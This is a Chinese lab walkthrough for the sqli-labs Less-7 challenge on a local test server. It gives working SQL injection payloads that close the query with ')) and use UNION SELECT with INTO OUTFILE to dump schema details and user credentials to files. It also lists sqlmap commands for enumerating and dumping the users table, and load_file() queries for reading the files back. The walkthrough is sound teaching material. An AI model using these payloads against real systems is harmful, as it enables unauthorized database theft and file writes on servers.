1. 思路🚀
本关的SQL语句为:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
- 注入类型:字符串型(单引号、双括号包裹)
- 提示:参数id需以
'))
闭合
同样无法像常规一样回显,php
输出语句的代码如下:
if($row){echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......';echo "<br>";echo "</font>";}
对于无回显的情况,我们会想到:
- 布尔盲注:逻辑判断✅
- 时间盲注:延时判断✅
- 报错盲注:报错回显❌
我用sqlmap扫到了布尔盲注与时间盲注,但根据提示是想要我们通过MySQL的load_file
(文件读取)和into outfile
(文件写入)来解决本关卡,先搞into outfile()
,再搞load_file()
。
2. 条件🧩
对这个关卡感观不好,是因为要求挺多的,还是找了不少文章+AI辅助才解决本关卡。首先需要打开MySQL的命令行,查看secure_file_priv
的值。
值 | 含义 | 是否允许文件操作 |
---|---|---|
具体路径 | 仅允许操作该目录下的文件(如你的 D:\...\Uploads\ ) | ✅ 有条件允许 |
NULL | 禁止所有文件导入/导出操作 | ❌ 完全禁止 |
空字符串 '' | 允许操作任意路径的文件(高危!) | ✅ 完全允许 |
我的属于具体路径
,截图展示:
这就意味着,我必须在指定的路径中进行文件读写,当然我可以修改这个路径,可修改的位置在MySQL安装时的my.ini
中,具体修改位置:
一定要MySQL80
服务的,不然不会生效。出于学习的目的,我就不改路径了,大家随意。
3. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-7/
,只需要将下面的sql语句粘贴即可。
3.1. 正常请求⚡
?id=1
说明:测试回显情况
3.2. 判断字段数⚡
?id=-1')) order by 4 --+
order by 4
:探测字段数(报错说明字段数=3)
3.3. 写入基础信息⚡
?id=-1')) union select database(),version(),user() into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt" --+
3.4. 写入表名⚡
?id=-1')) union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 'security' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\2.txt" --+
3.5. 写入字段⚡
?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\3.txt" --+
3.6. 写入数据⚡
?id=-1')) union select 1,username,password from users into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\4.txt" --+
因为updatexml()
函数最多显示32位数据,建议使用concat()
搭配limit + offset
使用,例如limit n,1
,n为起始位置。
3.7. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
')) | 闭合符号 | id=1')) |
--+ | 注释符 | --+ |
order by | 判断字段数 | order by 4 |
union select | 联合查询 | union select 1,2,3 |
group_concat() | 合并结果 | group_concat(table_name) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
4. SQLMap工具测试🎯
url
地址换成自己的,后面一定要加上id=1
,比如:http://localhost:8081/Less-7/?id=1
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-7/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截图:
命令5截图:
SQLMap参数表⭐
参数 | 功能 |
---|---|
--batch | 非交互模式 |
--dbs | 枚举数据库 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--dump | 导出数据 |
5. 读取文件🔍
load_file()
和into outfile()
是成对出现的,我通过mysql
命令行的方式,简单了解下load_file()
。
select load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt");
文件内容是十六进制编码形式,而非原始文本,需要改一下语句:
select convert(load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt") using utf8) as file_content;
6. 总结🏁
刚开始我用sqlmap扫的时候,发现只有布尔盲注和时间盲注,尽管根据本题解析也能通过,但是条件未免也太严格了(一开始怎么知道能不能写入文件
)。
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗